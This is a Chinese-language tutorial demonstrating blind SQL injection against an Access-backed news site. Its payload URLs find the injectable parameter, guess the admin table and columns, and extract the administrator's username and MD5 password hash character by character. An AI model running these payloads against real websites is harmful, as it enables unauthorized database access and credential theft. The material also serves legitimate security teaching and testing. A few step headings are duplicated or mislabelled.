1. access盲注思路:
- 判断注入点
- 猜解表名
- 猜解字段名
- 爆破字段值
2. 实战演示
2.1 判断注入点
- ?NewsID=20&BigClassID=2&SmallClassID=2 and 1=1
- ?NewsID=20&BigClassID=2&SmallClassID=2 and 1=2
- 如下图,可知在参数SmallClassID中存在注入点,且为数字型注入
2.2 猜解表名
- 与mysql数据库不同,access数据库没有类似于mysql的information_schema这样的系统索引库,所以我们只能根据经验靠猜了,在真实的测试环境中,我们也可以通过社工的方式进行猜解
- ?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select * from admin)
- 如下图,结果返回正常,说明在access中存在表admin
2.3 猜解该表的字段名
- ?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select adminuid,adminpwd from admin)
- 如下图,页面正常,说明access数据库的admin表中存在adminuid和adminpwd两字段
- 当然也可以使用如下语句进行判断:
?NewsID=20&BigClassID=2&SmallClassID=2 and 1=(select count(*) from admin where len(adminuid)>0)
- 这里我提一个小技巧:就是在我们猜表的字段名时,可以通过该网站后台管理页面的表单来帮助我们猜解。一般而言,程序员在写后台登录表单时,通常会将该表单中input标签的name属性设置的同数据库中相应的字段名相同,如下图:在此次案例中就是这样。
2.4 爆破字段值
2.4.1 判断表中有多少条记录
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select count(*) from admin)=1
- 如下图,页面返回正常,说明admin表中只有一条记录
2.4.2 爆字段的值
- 先爆adminuid字段的值
- 先判断adminuid字段第一个值的长度是多少
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminuid) from admin)=5
- 由下图我们可以判断admin表的adminuid字段的第一个值的长度为5
- 先爆adminuid字段的值(可以采用二分法慢慢试,这里直接给出结论了)
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,1,1)) from admin)=97
- 页面返回正常,说明admin表中字段adminuid的第一个值的第一个字母为a(97是a的ascii码值)
- 同理可以爆出该字段第一个值的剩余字母,playload如下:
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,2,1)) from admin)=100
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,3,1)) from admin)=109
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,4,1)) from admin)=105
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,5,1)) from admin)=110
- 由于先前我们已经判断admin表中只有一条记录,且第一个字段值的长度为5,所以无需继续爆破了
- 先判断adminuid字段第一个值的长度是多少
- 再判断adminpwd字段的值
- 先判断adminpwd字段第一个值的长度是多少
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminpwd) from admin)=16
- 页面返回正常,说明admin表的adminpwd字段的第一个值的长度为16,初步推测可能是16b的MD5
- 先爆adminuid字段的值(可以采用二分法慢慢试,这里直接给出结论了)
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,1,1)) from admin)=55
- 页面返回正常,说明admin表中字段adminpwd的第一个值的第一个字母为7(55是7的ascii码值)
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,2,1)) from admin)=97
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,3,1)) from admin)=53
- .....
- 爆破出来的MD5值为:55 97 53 55 97 53 97 55 52 51 56 57 52 97 48 101 --> 7a57a5a743894a0e -->admin
- 由于先前我们已经判断admin表中只有一条记录,所以无需继续爆破了
- 先判断adminpwd字段第一个值的长度是多少
2.5 综上所述
- 我们后台的账号密码为:admin;admin